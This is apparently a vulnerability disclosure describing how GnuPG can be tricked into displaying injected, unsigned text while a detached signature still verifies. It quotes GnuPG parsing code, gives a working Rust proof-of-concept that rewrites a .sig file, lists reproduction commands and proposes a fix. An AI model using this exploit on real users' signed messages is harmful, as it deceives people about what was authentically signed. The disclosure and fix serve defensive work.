Multiple Plaintext Attack on Detached PGP Signatures in GnuPG

An attacker can arbitrarily swap the plaintext shown to a GnuPG user, when the user verifies a detached signature versus views it with --decrypt.

Impact

This attack allows deceiving users verifying messages, following GnuPG usage best practices about the content of a message signed with a detached signature. Note, that it is possible in many scenarios to convert between signature types, i.e., convert a different signature type to a detached signature

Details

We take a detached signature containing:

(Alternatively, we can use a full signature and extract the original file with --decrypt; this also gives us a pre-made One-Pass Packet for the next step.)

We then overwrite the .sig file with the following packets:

  1. One-Pass Packet for original signature
  2. Literal Packet containing injected, unsigned data
  3. Unmodified Signature Packet for original file
  4. Marker Packet (0x[ca ff 00 00 00 03 50 47 50])

GnuPG’s main process keeps track of how many data packets it has seen in its context:

/*
 * Object to hold the processing context.
 */
typedef struct mainproc_context* CTX;

struct mainproc_context {
  // ...
  struct {
    unsigned int sig_seen : 1; /* Set to true if a signature packet
                                     has been seen. */
    unsigned int data : 1; /* Any data packet seen */
    unsigned int uncompress_failed : 1;
  } any;
};

While processing a packet list, the data field is written in the line annotated by us with [1] (original code formatting):

static int
do_proc_packets (CTX c, iobuf_t a, int keep_dek_and_list)
{
  // ...
  while ((rc=parse_packet (&parsectx, pkt)) != -1)
    {
      newpkt = -1;
      if (opt.list_packets)
        {
          switch (pkt->pkttype)
            {
            case PKT_PUBKEY_ENC:    proc_pubkey_enc (c, pkt); break;
            case PKT_SYMKEY_ENC:    proc_symkey_enc (c, pkt); break;
            case PKT_ENCRYPTED:
            case PKT_ENCRYPTED_MDC:
            case PKT_ENCRYPTED_AEAD:proc_encrypted (c, pkt); break;
            case PKT_COMPRESSED:    rc = proc_compressed (c, pkt); break;
            default: newpkt = 0; break;
	    }
	}
      else if (c->sigs_only)
        {
          switch (pkt->pkttype)
            {
            case PKT_PUBLIC_KEY:
            case PKT_SECRET_KEY:
            case PKT_USER_ID:
            case PKT_SYMKEY_ENC:
            case PKT_PUBKEY_ENC:
            case PKT_ENCRYPTED:
            case PKT_ENCRYPTED_MDC:
            case PKT_ENCRYPTED_AEAD:
              write_status_text( STATUS_UNEXPECTED, "0" );
              rc = GPG_ERR_UNEXPECTED;
              goto leave;

            case PKT_SIGNATURE:   newpkt = add_signature (c, pkt); break;
            case PKT_PLAINTEXT:   proc_plaintext (c, pkt); break;
            case PKT_COMPRESSED:  rc = proc_compressed (c, pkt); break;
            case PKT_ONEPASS_SIG: newpkt = add_onepass_sig (c, pkt); break;
            case PKT_GPG_CONTROL: newpkt = add_gpg_control (c, pkt); break;
            default: newpkt = 0; break;
	    }
	}
      else if (c->encrypt_only)
        {
          switch (pkt->pkttype)
            {
            case PKT_PUBLIC_KEY:
            case PKT_SECRET_KEY:
            case PKT_USER_ID:
              write_status_text (STATUS_UNEXPECTED, "0");
              rc = GPG_ERR_UNEXPECTED;
              goto leave;

            case PKT_SIGNATURE:   newpkt = add_signature (c, pkt); break;

            case PKT_SYMKEY_ENC:
            case PKT_PUBKEY_ENC:
              /* In --add-recipients mode set the stop flag as soon as
               * we see the first of these packets.  */
              if (c->ctrl->modify_recipients)
                parsectx.only_fookey_enc = 1;
              if (pkt->pkttype == PKT_SYMKEY_ENC)
                proc_symkey_enc (c, pkt);
              else
                proc_pubkey_enc (c, pkt);
              break;

            case PKT_ENCRYPTED:
            case PKT_ENCRYPTED_MDC:
            case PKT_ENCRYPTED_AEAD: proc_encrypted (c, pkt); break;
            case PKT_PLAINTEXT:   proc_plaintext (c, pkt); break;
            case PKT_COMPRESSED:  rc = proc_compressed (c, pkt); break;
            case PKT_ONEPASS_SIG: newpkt = add_onepass_sig (c, pkt); break;
            case PKT_GPG_CONTROL: newpkt = add_gpg_control (c, pkt); break;
            default: newpkt = 0; break;
	    }
	}
      // ...
      if (pkt->pkttype != PKT_SIGNATURE && pkt->pkttype != PKT_MDC)
        c->any.data = (pkt->pkttype == PKT_PLAINTEXT); // [1]
    // ...
	}
      else
        free_packet (pkt, &parsectx);
    }

 // ...

 leave:
  if (!keep_dek_and_list)
    release_list (c);
  return rc;
}

In summary:

The intended behavior for the packet types is this: (any.data starts at 0)

However, an attacker can set any.data to 0 by forming an invalid message similar to a full signature:

This sets any.data to 0 despite there being a data packet. And since the PKT_MARKER type is not covered by the non-exhaustive switch cases, the packet can simply be inserted into the message.

When GnuPG parses the message above, it creates a hash buffer for the literal packet above and handles output when processing the packet. This happens in the switch case above in the case PKT_PLAINTEXT: proc_plaintext(c, pkt); branch, which does the following:

static void proc_plaintext(CTX c, PACKET* pkt) {
  // ...
  free_md_filter_context(&c->mfx);
  if (gcry_md_open(&c->mfx.md, 0, 0))
    BUG();
  
  // ...

  if (!rc) {
    /* It we are in --verify mode, we do not want to output the
     * signed text.  However, if --output is also used we do what
     * has been requested and write out the signed data.  */
    rc = handle_plaintext(pt, &c->mfx,
                          (opt.outfp || opt.outfile) ? 0 : c->sigs_only,
                          clearsig);
    if (gpg_err_code(rc) == GPG_ERR_EACCES && !c->sigs_only) {
      /* Can't write output but we hash it anyway to check the
         signature. */
      rc = handle_plaintext(pt, &c->mfx, 1, clearsig);
    }
  }

  if (rc)
    log_error("handle plaintext failed: %s\n", gpg_strerror(rc));
  // ...
}

And in handle_plaintext:

int handle_plaintext(PKT_plaintext* pt, md_filter_context_t* mfx,
                     int nooutput, int clearsig) {
  char* fname = NULL;
  estream_t fp = NULL;

  if (!nooutput) {
    err = get_output_file(pt->name, pt->namelen, pt->buf, &fname, &fp);
    if (err) goto leave;
  }

  // ...
  if (mfx->md) gcry_md_write(mfx->md, buffer, len);
  if (fp) {
    // ...
    if (es_fwrite(buffer, 1, len, fp) != len) {
      // ...
    }
  }
  // ...			
}

After that code is done, the newly created tree of parsed packets gets processed.

Crucially, the !c->any.data condition is used to determine whether a signature is a detached signature or a full signature (as described in the comment in the second check).

static void release_list(CTX c) {
  proc_tree(c, c->list);
  // ...
}

static void proc_tree(CTX c, kbnode_t node) {
  // ...
  if (node->pkt->pkttype == PKT_PUBLIC_KEY
    || node->pkt->pkttype == PKT_PUBLIC_SUBKEY) {
    merge_keys_and_selfsig(c->ctrl, node);
    list_node(c, node);
  } else if (node->pkt->pkttype == PKT_SECRET_KEY) {
    merge_keys_and_selfsig(c->ctrl, node);
    list_node(c, node);
  } else if (node->pkt->pkttype == PKT_ONEPASS_SIG) {
    /* Check all signatures.  */
    if (!c->any.data) {
      int use_textmode = 0;

      free_md_filter_context(&c->mfx);
      /* Prepare to create all requested message digests.  */
      rc = gcry_md_open(&c->mfx.md, 0, 0);
      if (rc) goto hash_err;

      /* Fixme: why looking for the signature packet and not the
         one-pass packet?  */
      for (n1 = node; (n1 = find_next_kbnode(n1, PKT_SIGNATURE));)
        gcry_md_enable(
          c->mfx.md, n1->pkt->pkt.signature->digest_algo);

      if (n1 && n1->pkt->pkt.onepass_sig->sig_class == 0x01) use_textmode = 1;

      /* Ask for file and hash it. */
      if (c->sigs_only) {
        if (c->signed_data.used && c->signed_data.data_fd != -1)
          rc = hash_datafile_by_fd(c->mfx.md, NULL,
                                   c->signed_data.data_fd,
                                   use_textmode);
        else
          rc = hash_datafiles(c->mfx.md, NULL,
                              c->signed_data.data_names,
                              c->sigfilename,
                              use_textmode);
      } else {
        rc = ask_for_detached_datafile(c->mfx.md, NULL,
                                       iobuf_get_real_fname(c->iobuf),
                                       use_textmode);
      }

    hash_err: if (rc) {
        log_error("can't hash datafile: %s\n", gpg_strerror(rc));
        return;
      }
    } else if (c->signed_data.used) {
      log_error(_("not a detached signature\n"));
      return;
    }

    for (n1 = node; (n1 = find_next_kbnode(n1, PKT_SIGNATURE));) check_sig_and_print(c, n1);
  } else if (node->pkt->pkttype == PKT_GPG_CONTROL
    && node->pkt->pkt.gpg_control->control == CTRLPKT_CLEARSIGN_START) {
    /* Clear text signed message.  */
    // ...
  } else if (node->pkt->pkttype == PKT_SIGNATURE) {
    // ...
    if (!c->any.data) {
      /* Detached signature */
      // ...
    } else if (c->signed_data.used) {
      log_error(_("not a detached signature\n"));
      return;
    }
    // ...
  } else {
    dump_kbnode(c->list);
    log_error("invalid root packet detected in proc_tree()\n");
    dump_kbnode(node);
  }
}

An attacker can construct a packet that is processed by GnuPG in the following way:

Therefore, the output is the data from our literal packet, while the detached datafile is hashed and verified, while the output is never hashed.

Detailed steps to reproduce

Scenario

Alice wants to send Bob a message. Over a trusted channel they exchanged and verified their public keys. Over an untrusted channel, on which Mallory has an MITM role, Alice sends a the message along with a detached signature. Mallory changes the content of the detached signature. Bob successfully verifies the authenticity of the message. He additionally uses --decrypt (verifies and outputs the message) to view the message. Instead, of being shown Alice’s original message, Bob sees the content that Mallory placed

Procedure

Alice writes and signs the message and sends it to Bob.

echo Plaintext > plaintext
gpg --detach-sig plaintext

During transport Mallory manipulates the message in the following way:

#!/usr/bin/env rust-script

//! ```cargo
//! [dependencies]
//! sequoia-openpgp = "2.0.0"
//! simple-base64 = "0.23.2"
//! ```

use sequoia_openpgp::packet::{Literal, Marker, OnePassSig};
use sequoia_openpgp::parse::Parse;
use sequoia_openpgp::serialize::stream::{Armorer, Message};
use sequoia_openpgp::serialize::Serialize;
use sequoia_openpgp::types::DataFormat::Binary;
use sequoia_openpgp::{Packet, PacketPile};

fn multi_plain(sig_path: &str, rep: &str) {
    let pile = PacketPile::from_file(sig_path).unwrap();
    let sig = pile.into_children().filter_map(|x| match x {
        Packet::Signature(s) => Some(s), _ => None
    }).next().expect("Needs a signature packet");
    let ops = OnePassSig::try_from(&sig).expect("A one-pass sig to exist");
    let mut lit = Literal::new(Binary);
    let mut body = rep.as_bytes().to_vec();
    body.push('\n' as u8); // just for viewing convenience
    lit.set_body(body);
    let mrk = Marker::default();

    let mut buf = vec![];
    let msg = Message::new(&mut buf);
    let mut msg = Armorer::new(msg).build().unwrap();

    Packet::from(ops).serialize(&mut msg).unwrap();
    Packet::from(lit).serialize(&mut msg).unwrap();
    Packet::from(sig).serialize(&mut msg).unwrap();
    Packet::from(mrk).serialize(&mut msg).unwrap();

    msg.finalize().unwrap();

    std::fs::write(sig_path, buf).unwrap();

    println!("Verify with:\n\tgpg --verify {sig_path}\nExtract with:\n\tgpg --decrypt {sig_path} > out\n\tcat out");
}

fn main() {
    let args_raw: Vec<_> = std::env::args().collect();
    let args: Vec<_> = args_raw.iter().map(|x| x.as_ref()).collect();
    match args[1..] {
        ["multi_plain", sig, rep] => multi_plain(sig, rep),
        _ => println!("Use with ./gen.rs multi_plain <sig_path> <replacement text>")
    }
}
./gen.rs multi_plain plaintext.sig Malicious

Bob verifies the message successfully and gets shown the malicious content.

gpg --verify plaintext.sig plaintext # Verifies
gpg --decrypt plaintext.sig # Verifies & prints "Malicious"

Notes:

--decrypt
-d    Decrypt  the file given on the command line (or STDIN if no file is specified) and write it to STDOUT (or the file specified with --output). If
      the decrypted file is signed, the signature is also verified. This command differs from the default operation, as it never writes to the  file‐
      name which is included in the file and it rejects files that don't begin with an encrypted message.

Recommendations

Immediate fix of exploitation:

if (pkt->pkttype != PKT_SIGNATURE && pkt->pkttype != PKT_MDC)
  c->any.data |= (pkt->pkttype == PKT_PLAINTEXT);

If c->any.data is not allowed to turn back to false, exploitation is impossible.

In the long run, the state machine should be reworked. A lot of security-critical mechanisms like c->any.data and other multiple plaintext mitigations are dependent on state and are measured in brittle ways, e.g. by checking for detached vs. full/clear signatures by counting the plaintext packets while parsing, instead of checking ahead of time whether the shape of the input is sane.